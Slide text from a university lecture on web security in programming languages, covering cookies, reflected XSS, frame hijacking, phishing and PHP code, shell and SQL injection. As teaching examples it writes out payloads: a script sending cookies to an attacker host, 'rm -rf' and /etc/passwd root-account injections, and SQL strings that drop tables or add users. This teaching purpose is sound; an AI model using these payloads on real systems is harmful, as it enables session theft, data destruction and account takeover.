Security and Programming Languages - Part 2
CSCI 334: Principles of Programming Languages
Williams College�Spring 2023
Principles of Security Design
Sandbox Security Model
files
printer
network
monitor
...
applet
runtime
library
Virtual Machine Sandbox
security
policy
security
manager
applet
Virtual Machine Sandbox
Scoping
Type system
Security properties
secrecy
integrity
availability
Examples of Breaking out of the Sandbox
Security for the "Web"
Short Survey of Threats
HTML Image Tags
...
<img src="http://example.com/shilo.jpg"
height="250" width="300">
...
HTML Image Tags
HTML with JavaScript, DOM
<script>
var list = document.getElementById('theList')
var newItem = document.createElement('li')
var newText = document.createTextNode("moo")
newItem.appendChild(newText)
list.appendChild(newItem)
</script>
<ul id="theList">
<li> Item 1 </li>
</ul>
fact.html
dom.html
frames.html
Cookies...
cookie.html
<script>� document.cookie=� "username=Steve;" + � "expires=Thu, 9 May 2019;" +� "SESSID=123456";�</script>
.williams.edu Cookie in Steve's Browser
PHPSESSID=6de1c2222be33d9d6237efff754e1656;
__utma=193658155.1561475015.1393070964.1400092399.1400116396.7;
__utmb=193658155.4.10.1400116396;
__utmc=193658155;
__utmz=193658155.1400116396.7.3.utmcsr=sorry.williams.edu|utmccn=(referral)|utmcmd=referral|utmcct=/www/index.html;
https%3a%2f%2fsarah.williams.edu%2fpsp%2fcsprd%2femployee%2fhrms%2frefresh=list:%20%3Ftab%3Dremoteunifieddashboard%7C%3Frefresh_all_pagelets%3Dremoteunifieddashboard;
pscsapp3-13400-PORTAL-PSJSESSIONID=whprAAAASnTvLLWnMtmBBBB5vSLhCCCC!2033332244
Can only access this cookie in code downloaded from *.williams.edu
session id for PeopleSoft
[prior version...]
XSS: Cross-Sight Scripting Attacks
To: freund@cs.williams.edu
Subject: Click image for more Puppies!
From: plum@gnail.com
Click Image for More Puppies!
Click Image for More Puppies! (version 2)
Click Image for More Puppies!
Click Image for More Puppies! (version 3)
http://www.williams.edu/search/?q=Cow
Click Image for More Puppies! (version 4)
�http://www.williams.edu/search/?q=� <script>alert('moo')</script>
Click Image for More Puppies! (version 5)
http://www.williams.edu/search/?q=� <script>document.write(document.cookie)</script>
(version 6)
http://www.williams.edu/search/?q=� <script>
window.open("http://gnail.com?cookie="+ � document.cookie)� </script>
By requesting this page from gnail.com you just handed over your cookie for williams.edu...
I'm now going to access sarah.williams.edu
using your Session Id...
http://gnail.com?cookie=PHPSESSION..
The Punch Line...
http://www.williams.edu/search/?q=� <script>� window.open("http://gnail.com?cookie=" + � document.cookie)� </script>
Moral: Servers should never return �client-provided scripts!
<html>
Results for
<script>
window.open("http://gnail.com?d=" � + document.cookie)
</script>
</html>
gnail.com
williams.edu
Victim client
1) User gets bad link on webpage
2) User clicks on link
3) Server echoes link content in response
http://williams.edu/search?q=
<script> ... </script>
4) Browser runs script embedded
in server response
5) Secret user data sent�to attacker
To: Web Ops
Subject: XSS vulnerability
Date: Tue, 13 May 2014 16:25:16 -0400
I noticed today that the Williams homepage is susceptible to an XSS vulnerability. The simplest way to see this is to go to the homepage and do a search for
<script>alert('moo')</script>
The page returned by the search has the search phrase embedded in it --- in this case my script --- and the browser then runs that code without warning the user.
...
Best,
- Steve.
Date: Tue, 13 May 2014 22:34:58 -0400
Hi Steve,
Thanks for pointing this out. We'll definitely take a look.
Web Ops
Click Image for More Puppies!�(A couple hours later...)
What Happens Now?
And all this just by clicking on a link from one malicious source...
Isolation Policy Goals
Browser Security Mechanisms
A
B
A
B
A
Frame Hijacking
top.frames[1].location = "http://www.attacker.com/...";
top.frames[2].location = "http://www.attacker.com/...";
...
What Should the Policy Be?
Child
Sibling
Descendant
Frame Bust
Early Browser Policies
Browser | Policy |
IE 6 (default) | Permissive |
IE 6 (option) | Child |
IE7 (no Flash) | Descendant |
IE7 (with Flash) | Permissive |
Firefox 2 | Window |
Safari 3 | Permissive |
Opera 9 | Window |
HTML 5 | Child |
Descendent is now what everyone uses...
Phishing: Safe to Type Your Password?
Valid certificate�
You are connected to the real Bank of the West
Most browsers hide cert status now because valid certs are required.
HTTPS
Secure communication via browser encryption
Safe to Type Your Password?
Requiring valid certificates helps with blatant attacks like this now...
A Few More Examples
Safe to Type Your Password?
Phishing: Plenty of Other Ways to Dupe Users
Server Side PHP Scripts
a.com Server
2 + 3
Calculate!
http://a.com/calc.php?exp="2+3"
...
$in = $_GET[‘exp'];
eval('$ans = ' . $in . ';');
...
5
<html>5</html>
eval("$ans = 2+3;");
Code Injection Attack
a.com Server
1; system('rm -rf *')
Calculate!
http://a.com/calc.php?exp="1; system('rm –rf *')"
...
$in = $_GET[‘exp'];
eval('$ans = ' . $in . ';');
...
eval("$ans = 1; system('rm –rf *')");
Other PHP Attacks
$email = $_GET[“email”]
$subject = $_GET[“subject”]
system(“mail $email –s $subject < /tmp/welcome.txt”)
http://yourdomain.com/mail.php?
email=springer@malicious.cow.com &
subject=mwahahahaha < /usr/passwd; #
mail springer@malicious.cow.com � –s mwahahahaha < /usr/passwd; #< /tmp/welcome.txt
Other PHP Attacks
$email = $_GET[“email”]
$subject = $_GET[“subject”]
system(“mail $email –s $subject < /tmp/welcome.txt”)
http://yourdomain.com/mail.php?
email=springer@malicious.cow.com &
subject=uhoh; echo "springer::0:0:root:/:/bin/sh">>/etc/passwd; #
mail springer@malicious.cow.com � –s uhoh; � echo "springer::0:0:root:/:/bin/sh">>/etc/passwd; #< /tmp/welcome.txt
Database Queries in PHP (The Wrong Way)
......
Login
http://a.com/login.php?user=steve&pass=rachmaninoff
$user= $_GET[‘user’];
$pass= $_GET[‘pass’];
$sql = "SELECT * FROM Users
WHERE user='$user'
AND password='$pass'"
$rs = $db->executeQuery($sql);
if ($rs->count > 0)
// user logged in
DB
SELECT ...
...
......
Bad Input
SELECT * FROM Users
WHERE user='steve' AND password='rachmaninoff'
SELECT * FROM Users
WHERE user='' OR 1=1 -- AND password=''
Even Worse Input
SELECT * FROM Users
WHERE user='' AND pass='';
DROP TABLE Users
And Even Worse Input
SELECT * FROM Users
WHERE user='' AND pass='' ;
exec cmdshell 'net user springer badpwd′ / ADD
How to Avoid Code Injection Attacks
What's Next?
What's Next?